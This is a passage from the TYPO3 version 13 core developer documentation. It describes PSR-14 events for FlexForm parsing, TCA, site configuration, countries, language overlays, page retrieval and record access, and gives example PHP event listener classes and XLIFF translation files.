    identifier: 'my-extension/set-data-structure',
    method: 'setDataStructure',
)]
#[AsEventListener(
    identifier: 'my-extension/modify-data-structure',
    method: 'modifyDataStructure',
)]
#[AsEventListener(
    identifier: 'my-extension/set-data-structure-identifier',
    method: 'setDataStructureIdentifier',
)]
#[AsEventListener(
    identifier: 'my-extension/modify-data-structure-identifier',
    method: 'modifyDataStructureIdentifier',
)]
final readonly class FlexFormParsingModifyEventListener
{
    public function setDataStructure(BeforeFlexFormDataStructureParsedEvent $event): void
    {
        $identifier = $event->getIdentifier();
        if (($identifier['type'] ?? '') === 'my_custom_type') {
            $event->setDataStructure('FILE:EXT:my_extension/Configuration/FlexForms/MyFlexform.xml');
        }
    }

    public function modifyDataStructure(AfterFlexFormDataStructureParsedEvent $event): void
    {
        $identifier = $event->getIdentifier();
        if (($identifier['type'] ?? '') === 'my_custom_type') {
            $parsedDataStructure = $event->getDataStructure();
            $parsedDataStructure['sheets']['sDEF']['ROOT']['sheetTitle'] = 'Some dynamic custom sheet title';
            $event->setDataStructure($parsedDataStructure);
        }
    }

    public function setDataStructureIdentifier(BeforeFlexFormDataStructureIdentifierInitializedEvent $event): void
    {
        if ($event->getTableName() === 'tx_myextension_domain_model_sometable') {
            $event->setIdentifier([
                'type' => 'my_custom_type',
            ]);
        }
    }

    public function modifyDataStructureIdentifier(AfterFlexFormDataStructureIdentifierInitializedEvent $event): void
    {
        $identifier = $event->getIdentifier();
        if (($identifier['type'] ?? '') === 'some_other_type') {
            $identifier['type'] = 'my_custom_type';
        }
        $event->setIdentifier($identifier);
    }
}
Copied!

New in version 13.0

The PHP attribute \TYPO3\CMS\Core\Attribute\AsEventListener has been introduced to tag a PHP class as an event listener. Alternatively, or if you need to be compatible with older TYPO3 versions, you can also register an event listener via the Configuration/Services.yaml file. Switch to an older version of this page for an example or have a look at the section Implementing an event listener in your extension.

API

class AfterFlexFormDataStructureIdentifierInitializedEvent
Fully qualified name
\TYPO3\CMS\Core\Configuration\Event\AfterFlexFormDataStructureIdentifierInitializedEvent

Listeners to this event are able to modify or enhance the data structure identifier, which is used for a given TCA flex field.

This event can be used to add additional data to an identifier. Be careful here, especially if stuff from the source record like uid or pid is added! This may easily lead to issues with data handler details like copy or move records, localization and version overlays. Test this very well! Multiple listeners may add information to the same identifier here - take care to namespace array keys. Information added here can be later used in the data structure related PSR-14 Events (BeforeFlexFormDataStructureParsedEvent and AfterFlexFormDataStructureParsedEvent) again.

See the note on FlexFormTools regarding the schema of $dataStructure.

getFieldTca ( )

Returns the full TCA of the currently handled field, having type=flex set.

Returns
array
getTableName ( )
Returns
string
getFieldName ( )
Returns
string
getRow ( )

Returns the whole database row of the current record.

Returns
array
setIdentifier ( array $identifier)

Allows to modify or completely replace the initialized data structure identifier.

param $identifier

the identifier

getIdentifier ( )

Returns the initialized data structure identifier, which has either been defined by an event listener or set to the default by the FlexFormTools component.

Returns
array

AfterFlexFormDataStructureParsedEvent

The PSR-14 event \TYPO3\CMS\Core\Configuration\Event\AfterFlexFormDataStructureParsedEvent can be used to control the FlexForm parsing in an object-oriented approach.

Example

Have a look at the combined example.

API

class AfterFlexFormDataStructureParsedEvent
Fully qualified name
\TYPO3\CMS\Core\Configuration\Event\AfterFlexFormDataStructureParsedEvent

Listeners to this event are able to modify or enhance a flex form data structure that corresponds to a given identifier, after it was parsed and before it is used by further components.

Note: Since this event is not stoppable, all registered listeners are called. Therefore, you might want to namespace your identifiers in a way, that there is little chance they overlap (e.g. prefix with extension name).

See the note on FlexFormTools regarding the schema of $dataStructure.

getIdentifier ( )
Returns
array
getDataStructure ( )

Returns the current data structure, which has been processed and parsed by the FlexFormTools component. Might contain additional data from previously called listeners.

Returns
array
setDataStructure ( array $dataStructure)

Allows to modify or completely replace the parsed data structure identifier.

param $dataStructure

the dataStructure

AfterTcaCompilationEvent

The PSR-14 event \TYPO3\CMS\Core\Configuration\Event\AfterTcaCompilationEvent is dispatched after $GLOBALS['TCA'] is built to allow to further manipulate the TCA.

Example

API

class AfterTcaCompilationEvent
Fully qualified name
\TYPO3\CMS\Core\Configuration\Event\AfterTcaCompilationEvent

Event after $tca which later becomes $GLOBALS['TCA'] has been built.

Allows to further manipulate $tca before it is cached and set as $GLOBALS['TCA'].

getTca ( )
Returns
array
setTca ( array $tca)
param $tca

the tca

BeforeFlexFormDataStructureIdentifierInitializedEvent

The PSR-14 event \TYPO3\CMS\Core\Configuration\Event\BeforeFlexFormDataStructureIdentifierInitializedEvent can be used to control the FlexForm parsing in an object-oriented approach.

Example

Have a look at the combined example.

API

class BeforeFlexFormDataStructureIdentifierInitializedEvent
Fully qualified name
\TYPO3\CMS\Core\Configuration\Event\BeforeFlexFormDataStructureIdentifierInitializedEvent

Listeners to this event are able to specify the data structure identifier, used for a given TCA flex field.

Listeners should call ->setIdentifier() to set the identifier or ignore the event to allow other listeners to set it. Do not set an empty string as this will immediately stop event propagation!

The identifier SHOULD include the keys specified in the Identifier definition on FlexFormTools, and nothing else. Adding other keys may or may not work, depending on other code that is enabled, and they are not guaranteed nor covered by BC guarantees.

Warning: If adding source record details like the uid or pid here, this may turn out to be fragile. Be sure to test scenarios like workspaces and data handler copy/move well, additionally, this may break in between different core versions. It is probably a good idea to return at least something like [ 'type' => 'myExtension', ... ], see the core internal 'tca' and 'record' return values below

See the note on FlexFormTools regarding the schema of $dataStructure.

getFieldTca ( )

Returns the full TCA of the currently handled field, having type=flex set.

Returns
array
getTableName ( )
Returns
string
getFieldName ( )
Returns
string
getRow ( )

Returns the whole database row of the current record.

Returns
array
setIdentifier ( array $identifier)

Allows to define the data structure identifier for the TCA field.

Setting an identifier will immediately stop propagation. Avoid setting this parameter to an empty array as this will also stop propagation.

param $identifier

the identifier

getIdentifier ( )

Returns the current data structure identifier, which will always be null for listeners, since the event propagation is stopped as soon as a listener defines an identifier.

Returns
?array
isPropagationStopped ( )
Returns
bool

Migration

Using the removed hook method getDataStructureIdentifierPreProcess() of the hook $GLOBALS['TYPO3_CONF_VARS']['SC_OPTIONS']['workspaces']['modifyDifferenceArray'] previously required implementations to always return an array.

This means, implementations returned an empty array in case they did not want to set an identifier, allowing further implementations to be called.

This behaviour has now changed. As soon as a listener sets the identifier using the setIdentifier() method, the event propagation is stopped immediately and no further listeners are being called. Therefore, listeners should avoid setting an empty array but should just "return" without any change to the $event object in such a case.

BeforeFlexFormDataStructureParsedEvent

The PSR-14 event \TYPO3\CMS\Core\Configuration\Event\BeforeFlexFormDataStructureParsedEvent can be used to control the FlexForm parsing in an object-oriented approach.

Example

Have a look at the combined example.

API

class BeforeFlexFormDataStructureParsedEvent
Fully qualified name
\TYPO3\CMS\Core\Configuration\Event\BeforeFlexFormDataStructureParsedEvent

Listeners to this event are able to specify a flex form data structure that corresponds to a given identifier.

Listeners should call ->setDataStructure() to set the data structure (this can either be a resolved data structure string, a "FILE:" reference or a fully parsed data structure as array) or ignore the event to allow other listeners to set it. Do not set an empty array or string as this will immediately stop event propagation!

See the note on FlexFormTools regarding the schema of $dataStructure.

getDataStructure ( )

Returns the current data structure, which will always be null for listeners, since the event propagation is stopped as soon as a listener sets a data structure.

Returns
array|string|?null
setDataStructure ( array|string $dataStructure)

Allows to either set an already parsed data structure as array, a file reference or the XML structure as string. Setting a data structure will immediately stop propagation. Avoid setting this parameter to an empty array or string as this will also stop propagation.

param $dataStructure

the dataStructure

getIdentifier ( )
Returns
array
isPropagationStopped ( )
Returns
bool

Migration

Using the removed hook method parseDataStructureByIdentifierPreProcess() of hook $GLOBALS['TYPO3_CONF_VARS']['SC_OPTIONS']['workspaces']['modifyDifferenceArray'] previously required implementations to always return an array or string. Implementations returned an empty array or empty string in case they did not want to set a data structure.

This behaviour has now changed. As soon as a listener sets a data structure using the setDataStructure() method, the event propagation is stopped immediately and no further listeners are called.

Therefore, listeners should avoid setting an empty array or an empty string but should just "return" without any change to the $event object in such a case.

BeforeTcaOverridesEvent

New in version 13.0

A PSR-14 event \TYPO3\CMS\Core\Configuration\Event\BeforeTcaOverridesEvent enables developers to listen to the state between loaded base TCA and merging of TCA overrides.

It can be used to dynamically generate TCA and add it as additional base TCA. This is especially useful for "TCA generator" extensions, which add TCA based on another resource, while still enabling users to override TCA via the known TCA overrides API.

Example

EXT:my_extension/Configuration/EventListener/MyEventListener.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Configuration\EventListener;

use TYPO3\CMS\Core\Attribute\AsEventListener;
use TYPO3\CMS\Core\Configuration\Event\BeforeTcaOverridesEvent;

#[AsEventListener(
    identifier: 'my-extension/before-tca-overrides',
)]
final readonly class MyEventListener
{
    public function __invoke(BeforeTcaOverridesEvent $event): void
    {
        $tca = $event->getTca();
        $tca['tt_content']['columns']['header']['config']['max'] = 100;
        $event->setTca($tca);
    }
}
Copied!

New in version 13.0

API

class BeforeTcaOverridesEvent
Fully qualified name
\TYPO3\CMS\Core\Configuration\Event\BeforeTcaOverridesEvent

Event before $tca which later becomes $GLOBALS['TCA'] is overridden by TCA/Overrides.

Allows to manipulate $tca, before overrides are merged.

getTca ( )
Returns
array
setTca ( array $tca)
param $tca

the tca

ModifyLoadedPageTsConfigEvent

Extensions can modify page TSconfig entries that can be overridden or added, based on the root line.

Example

EXT:my_extension/Classes/Configuration/EventListener/MyEventListener.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Configuration\EventListener;

use TYPO3\CMS\Core\Attribute\AsEventListener;
use TYPO3\CMS\Core\TypoScript\IncludeTree\Event\ModifyLoadedPageTsConfigEvent;

#[AsEventListener(
    identifier: 'my-extension/configuration/loader',
)]
final readonly class MyEventListener
{
    public function __invoke(ModifyLoadedPageTsConfigEvent $event): void
    {
        // ... your logic
    }
}
Copied!

API

class ModifyLoadedPageTsConfigEvent
Fully qualified name
\TYPO3\CMS\Core\TypoScript\IncludeTree\Event\ModifyLoadedPageTsConfigEvent

Extensions can modify page TSconfig entries that can be overridden or added, based on the root line

getTsConfig ( )
Returns
array
addTsConfig ( string $tsConfig)
param $tsConfig

the tsConfig

setTsConfig ( array $tsConfig)
param $tsConfig

the tsConfig

getRootLine ( )
Returns
array

SiteConfigurationBeforeWriteEvent

The PSR-14 event \TYPO3\CMS\Core\Configuration\Event\SiteConfigurationBeforeWriteEvent allows the modification of the site configuration array before writing the configuration to disk.

Example

API

class SiteConfigurationBeforeWriteEvent
Fully qualified name
\TYPO3\CMS\Core\Configuration\Event\SiteConfigurationBeforeWriteEvent

Event fired before a site configuration is written to a yaml file allows dynamic modification of the site's configuration before writing.

getSiteIdentifier ( )
Returns
string
getConfiguration ( )
Returns
array
setConfiguration ( array $configuration)
param $configuration

overwrite the configuration array of the site

SiteConfigurationLoadedEvent

The PSR-14 event \TYPO3\CMS\Core\Configuration\Event\SiteConfigurationLoadedEvent allows the modification of the site configuration array before loading the configuration.

Example

The example adds a route enhancer configuration provided by an extension with an event listener automatically. This way, there is no need to add an import manually to the site configuration.

EXT:my_extension/Classes/Configuration/EventListener/ImportRoutesIntoSiteConfiguration.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Configuration\EventListener;

use TYPO3\CMS\Core\Attribute\AsEventListener;
use TYPO3\CMS\Core\Configuration\Event\SiteConfigurationLoadedEvent;
use TYPO3\CMS\Core\Configuration\Loader\YamlFileLoader;
use TYPO3\CMS\Core\Utility\ArrayUtility;

#[AsEventListener(
    identifier: 'my-extension/import-routes-into-site-configuration',
)]
final readonly class ImportRoutesIntoSiteConfiguration
{
    private const ROUTES = 'EXT:my_extension/Configuration/Routes/Routes.yaml';

    public function __construct(
        private YamlFileLoader $yamlFileLoader,
    ) {}

    public function __invoke(SiteConfigurationLoadedEvent $event): void
    {
        $routeConfiguration = $this->yamlFileLoader->load(self::ROUTES);
        $siteConfiguration = $event->getConfiguration();

        // Using this method instead of array_merge_recursive will
        // prevent duplicate keys, and also allow to use the special
        // "_UNSET" handling properly.
        ArrayUtility::mergeRecursiveWithOverrule(
            $siteConfiguration,
            $routeConfiguration,
        );

        $event->setConfiguration($siteConfiguration);
    }
}
Copied!

For more sophisticated examples, see also Automatically register route enhancer definitions stored in TYPO3 extensions.

New in version 13.0

The PHP attribute \TYPO3\CMS\Core\Attribute\AsEventListener has been introduced to tag a PHP class as an event listener. Alternatively, or if you need to be compatible with older TYPO3 versions, you can also register an event listener via the Configuration/Services.yaml file. Switch to an older version of this page for an example or have a look at the section Implementing an event listener in your extension.

API

class SiteConfigurationLoadedEvent
Fully qualified name
\TYPO3\CMS\Core\Configuration\Event\SiteConfigurationLoadedEvent

Event after a site configuration has been read from a yaml file before it is cached - allows dynamic modification of the site's configuration.

getSiteIdentifier ( )
Returns
string
getConfiguration ( )
Returns
array
setConfiguration ( array $configuration)
param $configuration

overwrite the configuration array of the site

BootCompletedEvent

The PSR-14 event \TYPO3\CMS\Core\Core\Event\BootCompletedEvent is fired on every request when TYPO3 has been fully booted, right after all configuration files have been added.

This event complements the AfterTcaCompilationEvent which is executed after TCA configuration has been assembled.

Use cases for this event include running extension's code which needs to be executed at any time and needs TYPO3's full configuration including all loaded extensions.

Example

EXT:my_extension/Classes/Bootstrap/EventListener/MyEventListener.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Bootstrap\EventListener;

use TYPO3\CMS\Core\Attribute\AsEventListener;
use TYPO3\CMS\Core\Core\Event\BootCompletedEvent;

#[AsEventListener(
    identifier: 'my-extension/boot-completed',
)]
final readonly class MyEventListener
{
    public function __invoke(BootCompletedEvent $e): void
    {
        // Do your magic
    }
}
Copied!

New in version 13.0

The PHP attribute \TYPO3\CMS\Core\Attribute\AsEventListener has been introduced to tag a PHP class as an event listener. Alternatively, or if you need to be compatible with older TYPO3 versions, you can also register an event listener via the Configuration/Services.yaml file. Switch to an older version of this page for an example or have a look at the section Implementing an event listener in your extension.

API

class BootCompletedEvent
Fully qualified name
\TYPO3\CMS\Core\Core\Event\BootCompletedEvent

Executed when TYPO3 has fully booted (after all ext_tables.php files have been processed)

isCachingEnabled ( )
Returns
bool

BeforeCountriesEvaluatedEvent

New in version 13.3

The PSR-14 event \TYPO3\CMS\Core\Country\Event\BeforeCountriesEvaluatedEvent allows to modify the list of countries provided by the \TYPO3\CMS\Core\Country\CountryProvider .

This event allows to to add, remove and alter countries from the list used by the provider class itself and ViewHelpers like the Form.countrySelect ViewHelper <f:form.countrySelect>.

Example: Add a new country to the country selectors

The following event listener adds a new country, 'Magic Kingdom' with alpha 2 code 'XX' and alpha 3 code 'XXX'.

EXT:my_extension/Classes/Country/EventListener/MyEventListener.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\EventListener;

use TYPO3\CMS\Core\Attribute\AsEventListener;
use TYPO3\CMS\Core\Country\Country;
use TYPO3\CMS\Core\Country\Event\BeforeCountriesEvaluatedEvent;

final readonly class EventListener
{
    #[AsEventListener(identifier: 'my-extension/before-countries-evaluated')]
    public function __invoke(BeforeCountriesEvaluatedEvent $event): void
    {
        $countries = $event->getCountries();
        unset($countries['BS']);
        $countries['XX'] = new Country(
            'XX',
            'XYZ',
            'Magic Kingdom',
            '987',
            '🔮',
            'Kingdom of Magic and Wonders',
        );
        $event->setCountries($countries);
    }
}
Copied!

New in version 13.0

The PHP attribute \TYPO3\CMS\Core\Attribute\AsEventListener has been introduced to tag a PHP class as an event listener. Alternatively, or if you need to be compatible with older TYPO3 versions, you can also register an event listener via the Configuration/Services.yaml file. Switch to an older version of this page for an example or have a look at the section Implementing an event listener in your extension.

As the localized names for the countries are defined in file EXT:core/Resources/Private/Language/Iso/countries.xlf, this language file needs to be extended via locallangXMLOverride:

EXT:my_extension/ext_localconf.php
<?php

$GLOBALS['TYPO3_CONF_VARS']['SYS']['locallangXMLOverride']
['EXT:core/Resources/Private/Language/Iso/countries.xlf'][]
    = 'EXT:my_extension/Resources/Private/Language/countries.xlf';
Copied!

You can now override the language file in the path defined above:

EXT:my_extension/Resources/Private/Language/countries.xlf
<?xml version="1.0" encoding="utf-8" standalone="yes" ?>
<xliff version="1.0">
    <file source-language="en" datatype="plaintext" date="2024-01-08T18:44:59Z" product-name="my_extension">
        <body>
            <trans-unit id="XX.name" approved="yes">
                <source>Magic Kingdom</source>
            </trans-unit>
            <trans-unit id="XX.official_name" approved="yes">
                <source>Kingdom of Magic and Wonders</source>
            </trans-unit>
        </body>
    </file>
</xliff>
Copied!

And add additional translations for German:

EXT:my_extension/Resources/Private/Language/de.countries.xlf
<?xml version="1.0" encoding="utf-8" standalone="yes" ?>
<xliff version="1.0">
    <file source-language="en" target-language="de" datatype="plaintext" date="2024-01-08T18:44:59Z" product-name="my_extension">
        <body>
            <trans-unit id="XX.name" approved="yes">
                <source>Magic Kingdom</source>
                <target>Magisches Königreich</target>
            </trans-unit>
            <trans-unit id="XX.official_name" approved="yes">
                <source>Kingdom of Magic and Wonders</source>
                <target>Königreich der Magie und Wunder</target>
            </trans-unit>
        </body>
    </file>
</xliff>
Copied!

And Klingon:

EXT:my_extension/Resources/Private/Language/tlh.countries.xlf
<?xml version="1.0" encoding="utf-8" standalone="yes" ?>
<xliff version="1.0">
    <file source-language="en" target-language="tlh" datatype="plaintext" date="2024-01-08T18:44:59Z" product-name="my_extension">
        <body>
            <trans-unit id="XX.name" approved="yes">
                <source>Magic Kingdom</source>
                <target>‘oHtaHghach wo’</target>
            </trans-unit>
            <trans-unit id="XX.official_name" approved="yes">
                <source>Kingdom of Magic and Wonders</source>
                <target>‘oHtaHghach je Dojmey wo’</target>
            </trans-unit>
        </body>
    </file>
</xliff>
Copied!

API of event BeforeCountriesEvaluatedEvent

class BeforeCountriesEvaluatedEvent
Fully qualified name
\TYPO3\CMS\Core\Country\Event\BeforeCountriesEvaluatedEvent

Event dispatched before countries are evaluated by CountryProvider.

getCountries ( )
Returns
\Country[]
setCountries ( array $countries)
param $countries

the countries

AlterTableDefinitionStatementsEvent

The PSR-14 event \TYPO3\CMS\Core\Database\Event\AlterTableDefinitionStatementsEvent allows to intercept the CREATE TABLE statement from all loaded extensions.

Example

API

class AlterTableDefinitionStatementsEvent
Fully qualified name
\TYPO3\CMS\Core\Database\Event\AlterTableDefinitionStatementsEvent

Event to intercept the "CREATE TABLE" statement from all loaded extensions.

The $sqlData variable holds a RAW Array of definitions from each file found.

addSqlData ( ?mixed $data)
param $data

the data

getSqlData ( )
Returns
array
setSqlData ( array $sqlData)
param $sqlData

the sqlData

AppendLinkHandlerElementsEvent

The PSR-14 event \TYPO3\CMS\Core\DataHandling\Event\AppendLinkHandlerElementsEvent is fired so listeners can intercept and add elements when checking links within the soft reference parser.

Example

API

class AppendLinkHandlerElementsEvent
Fully qualified name
\TYPO3\CMS\Core\DataHandling\Event\AppendLinkHandlerElementsEvent

Event fired so listeners can intercept add elements when checking links within the SoftRef parser

getLinkParts ( )
Returns
array
getContent ( )
Returns
string
getElements ( )
Returns
array
getIdx ( )
Returns
int
getTokenId ( )
Returns
string
setLinkParts ( array $linkParts)
param $linkParts

the linkParts

setContent ( string $content)
param $content

the content

setElements ( array $elements)
param $elements

the elements

addElements ( array $elements)
param $elements

the elements

isResolved ( )
Returns
bool

IsTableExcludedFromReferenceIndexEvent

The PSR-14 event \TYPO3\CMS\Core\DataHandling\Event\IsTableExcludedFromReferenceIndexEvent allows to intercept, if a certain table should be excluded from the reference index. There is no need to add tables without a definition in $GLOBALS['TCA'] since the reference index only handles those.

Example

API

class IsTableExcludedFromReferenceIndexEvent
Fully qualified name
\TYPO3\CMS\Core\DataHandling\Event\IsTableExcludedFromReferenceIndexEvent

Event to intercept if a certain table should be excluded from the Reference Index.

There is no need to add tables without a definition in $GLOBALS['TCA'] since ReferenceIndex only handles those.

getTable ( )
Returns
string
markAsExcluded ( )
isTableExcluded ( )
Returns
bool
isPropagationStopped ( )
Returns
bool

AfterRecordLanguageOverlayEvent

The PSR-14 event \TYPO3\CMS\Core\Domain\Event\AfterRecordLanguageOverlayEvent can be used to modify the actual translated record (if found) to add additional information or perform custom processing of the record.

Example

API

class AfterRecordLanguageOverlayEvent
Fully qualified name
\TYPO3\CMS\Core\Domain\Event\AfterRecordLanguageOverlayEvent

Event which is fired after a record was translated (or tried to be localized).

getTable ( )
Returns
string
getRecord ( )
Returns
array
getLanguageAspect ( )
Returns
\TYPO3\CMS\Core\Context\LanguageAspect
setLocalizedRecord ( ?array $localizedRecord)
param $localizedRecord

the localizedRecord

getLocalizedRecord ( )
Returns
?array
overlayingWasAttempted ( )

Determines if the overlay functionality happened, thus, returning the lo

Returns
bool

BeforePageIsRetrievedEvent

New in version 13.0

This event serves as a more powerful replacement for the removed $GLOBALS['TYPO3_CONF_VARS']['SC_OPTIONS']['t3lib/class.t3lib_page.php']['getPage'] hook.

The PSR-14 event \TYPO3\CMS\Core\Domain\Event\BeforePageIsRetrievedEvent allows to modify the resolving of page records within \TYPO3\CMS\Core\Domain\PageRepository->getPage().

It can be used to alter the incoming page ID or to even fetch a fully-loaded page object before the default TYPO3 behaviour is executed, effectively bypassing the default page resolving.

Example

EXT:my_extension/Classes/Domain/Access/MyEventListener.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Domain\Page;

use TYPO3\CMS\Core\Attribute\AsEventListener;
use TYPO3\CMS\Core\Domain\Event\BeforePageIsRetrievedEvent;
use TYPO3\CMS\Core\Domain\Page;

#[AsEventListener(
    identifier: 'my-extension/my-custom-page-resolver',
)]
final readonly class MyEventListener
{
    public function __invoke(BeforePageIsRetrievedEvent $event): void
    {
        if ($event->getPageId() === 13) {
            $event->setPageId(42);
            return;
        }

        if ($event->getContext()->getPropertyFromAspect('language', 'id') > 0) {
            $event->setPage(new Page(['uid' => 43]));
        }
    }
}
Copied!

New in version 13.0

API

class BeforePageIsRetrievedEvent
Fully qualified name
\TYPO3\CMS\Core\Domain\Event\BeforePageIsRetrievedEvent

Event which is fired before a page (id) is being resolved from PageRepository.

Allows to change the corresponding page ID, e.g. to resolve a different page with custom overlaying, or to fully resolve the page on your own.

getPage ( )
Returns
?\TYPO3\CMS\Core\Domain\Page
setPage ( \TYPO3\CMS\Core\Domain\Page $page)
param $page

the page

hasPage ( )
Returns
bool
getPageId ( )
Returns
int
setPageId ( int $pageId)
param $pageId

the pageId

skipGroupAccessCheck ( )
respectGroupAccessCheck ( )
isGroupAccessCheckSkipped ( )
Returns
bool
getContext ( )
Returns
\TYPO3\CMS\Core\Context\Context

BeforePageLanguageOverlayEvent

The PSR-14 event \TYPO3\CMS\Core\Domain\Event\BeforePageLanguageOverlayEvent is a special event which is fired when TYPO3 is about to do the language overlay of one or multiple pages, which could be one full record or multiple page IDs. This event is fired only for pages and in-between the events BeforeRecordLanguageOverlayEvent and AfterRecordLanguageOverlayEvent.

Example

API

class BeforePageLanguageOverlayEvent
Fully qualified name
\TYPO3\CMS\Core\Domain\Event\BeforePageLanguageOverlayEvent

Event which is fired before a single page or a list of pages are about to be translated (or tried to be localized).

getPageInput ( )
Returns
array
setPageInput ( array $pageInput)
param $pageInput

the pageInput

getPageIds ( )
Returns
array
setPageIds ( array $pageIds)
param $pageIds

the pageIds

getLanguageAspect ( )
Returns
\TYPO3\CMS\Core\Context\LanguageAspect
setLanguageAspect ( \TYPO3\CMS\Core\Context\LanguageAspect $languageAspect)
param $languageAspect

the languageAspect

BeforeRecordLanguageOverlayEvent

The PSR-14 event \TYPO3\CMS\Core\Domain\Event\BeforeRecordLanguageOverlayEvent can be used to modify information (such as the LanguageAspect or the actual incoming record from the database) before the database is queried.

Example: Change the overlay type to "on" (connected)

In this example, we will change the overlay type to "on" (connected). This may be necessary if your site is configured with free mode, but you have a record type that has languages connected.

EXT:my_extension/Classes/Domain/Language/MyEventListener.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Domain\Language;

use TYPO3\CMS\Core\Attribute\AsEventListener;
use TYPO3\CMS\Core\Context\LanguageAspect;
use TYPO3\CMS\Core\Domain\Event\BeforeRecordLanguageOverlayEvent;

#[AsEventListener(
    identifier: 'my-extension/before-record-language-overlay',
)]
final readonly class MyEventListener
{
    public function __invoke(BeforeRecordLanguageOverlayEvent $event): void
    {
        if ($event->getTable() !== 'tx_myextension_domain_model_record') {
            return;
        }

        $currentLanguageAspect = $event->getLanguageAspect();
        $newLanguageAspect = new LanguageAspect(
            $currentLanguageAspect->getId(),
            $currentLanguageAspect->getContentId(),
            LanguageAspect::OVERLAYS_ON,
            $currentLanguageAspect->getFallbackChain(),
        );

        $event->setLanguageAspect($newLanguageAspect);
    }
}
Copied!

New in version 13.0

The PHP attribute \TYPO3\CMS\Core\Attribute\AsEventListener has been introduced to tag a PHP class as an event listener. Alternatively, or if you need to be compatible with older TYPO3 versions, you can also register an event listener via the Configuration/Services.yaml file. Switch to an older version of this page for an example or have a look at the section Implementing an event listener in your extension.

API

class BeforeRecordLanguageOverlayEvent
Fully qualified name
\TYPO3\CMS\Core\Domain\Event\BeforeRecordLanguageOverlayEvent

Event which is fired before a record in a language should be "language overlaid", that is: Finding a translation for a given record.

getTable ( )
Returns
string
getRecord ( )
Returns
array
setRecord ( array $record)
param $record

the record

getLanguageAspect ( )
Returns
\TYPO3\CMS\Core\Context\LanguageAspect
setLanguageAspect ( \TYPO3\CMS\Core\Context\LanguageAspect $languageAspect)
param $languageAspect

the languageAspect

ModifyDefaultConstraintsForDatabaseQueryEvent

New in version 13.0

This event serves as a replacement for the removed hook $GLOBALS['TYPO3_CONF_VARS']['SC_OPTIONS']['t3lib/class.t3lib_page.php']['addEnableColumns'] .

The API class \TYPO3\CMS\Core\Domain\Repository\PageRepository has a method getDefaultConstraints() which accumulates common restrictions for a database query. The purpose is to limit queries for TCA-based tables, filtering out disabled or scheduled records.

The PSR-14 event \TYPO3\CMS\Core\Domain\Event\ModifyDefaultConstraintsForDatabaseQueryEvent allows to remove, alter or add constraints compiled by TYPO3 for a specific table to further limit these constraints.

The event contains a list of CompositeExpression objects, allowing to modify them via the getConstraints() and setConstraints(array $constraints) methods.

Example

API

class ModifyDefaultConstraintsForDatabaseQueryEvent
Fully qualified name
\TYPO3\CMS\Core\Domain\Event\ModifyDefaultConstraintsForDatabaseQueryEvent

Event which is fired when compiling the list of constraints such as "deleted" and "starttime", "endtime" etc.

This Event allows for additional enableColumns to be added or removed to the list of constraints.

An example: The extension ingmar_accessctrl enables assigning more than one usergroup to content and page records

getTable ( )
Returns
string
getTableAlias ( )
Returns
string
getExpressionBuilder ( )
Returns
\TYPO3\CMS\Core\Database\Query\Expression\ExpressionBuilder
getConstraints ( )
Returns
array<string,\CompositeExpression|string>
setConstraints ( array $constraints)
param $constraints

the constraints

getEnableFieldsToIgnore ( )
Returns
array
getContext ( )
Returns
\TYPO3\CMS\Core\Context\Context

RecordAccessGrantedEvent

The PSR-14 event \TYPO3\CMS\Core\Domain\Access\RecordAccessGrantedEvent can be used to either define whether a record access is granted for a user, or to modify the record in question. In case the $accessGranted property is set (either true or false), the defined settings are directly used, skipping any further event listener as well as any further evaluation.

Example

EXT:my_extension/Classes/Domain/Access/MyEventListener.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Domain\Access;

use TYPO3\CMS\Core\Attribute\AsEventListener;
use TYPO3\CMS\Core\Domain\Access\RecordAccessGrantedEvent;

#[AsEventListener(
    identifier: 'my-extension/set-access-granted',
)]
final readonly class MyEventListener
{
    public function __invoke(RecordAccessGrantedEvent $event): void
    {
        // Manually set access granted
        if (
            $event->getTable() === 'my_table' &&
            ($event->getRecord()['custom_access_field'] ?? false)
        ) {
            $event->setAccessGranted(true);
        }

        // Update the record to be checked
        $record = $event->getRecord();
        $record['some_field'] = true;
        $event->updateRecord($record);
    }
}
Copied!

New in version 13.0

The PHP attribute \TYPO3\CMS\Core\Attribute\AsEventListener has been introduced to tag a PHP class as an event listener. Alternatively, or if you need to be compatible with older TYPO3 versions, you can also register an event listener via the Configuration/Services.yaml file. Switch to an older version of this page for an example or have a look at the section Implementing an event listener in your extension.

API

class RecordAccessGrantedEvent
Fully qualified name
\TYPO3\CMS\Core\Domain\Access\RecordAccessGrantedEvent

Event to modify records to be checked against "enableFields".

Listeners are able to grant access or to modify the record itself to continue to use the native access check functionality with a modified dataset.

isPropagationStopped ( )
Returns
bool
setAccessGranted ( bool $accessGranted)
param $accessGranted

the accessGranted

getTable ( )
Returns
string
getRecord ( )
Returns
array
updateRecord ( array $record)
param $record

the record

getContext ( )
Returns
\TYPO3\CMS\Core\Context\Context

RecordCreationEvent

New in version 13.3

The PSR-14 RecordCreationEvent is introduced in order to allow the manipulation of any property before being used to create a Database Record object.

The Database Record object, which represents a raw database record based on TCA and is usually used in the frontend (via Fluid Templates).

The properties of those Record objects are transformed / expanded from their raw database value into "rich-flavored" values. Those values might be relations to Record objects implementing RecordInterface , FileReference , \TYPO3\CMS\Core\Resource\Folder or \DateTimeImmutable objects.

TYPO3 does not know about custom field meanings, for example latitude and longitude information, stored in an input field or user settings stored as JSON in a TCA type json field.

This event is dispatched right before a Record object is created and therefore allows to fully manipulate any property, even the ones already transformed by TYPO3.

The new event is stoppable (implementing \StoppableEventInterface ), which allows listeners to actually create a Record object, implementing \TYPO3\CMS\Core\Domain\RecordInterface completely on their own.

Example

The event listener class, using the PHP attribute #[AsEventListener] for registration, creates a Coordinates object based on the field value of the coordinates field for the custom maps content type.

EXT:my_extension/Classes/Domain/EventListener/MyEventListener.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Domain\Access;

use MyVendor\MyExtension\Domain\Model\Coordinates;
use TYPO3\CMS\Core\Attribute\AsEventListener;
use TYPO3\CMS\Core\Domain\Event\RecordCreationEvent;

final readonly class MyEventListener
{
    #[AsEventListener]
    public function __invoke(RecordCreationEvent $event): void
    {
        $rawRecord = $event->getRawRecord();
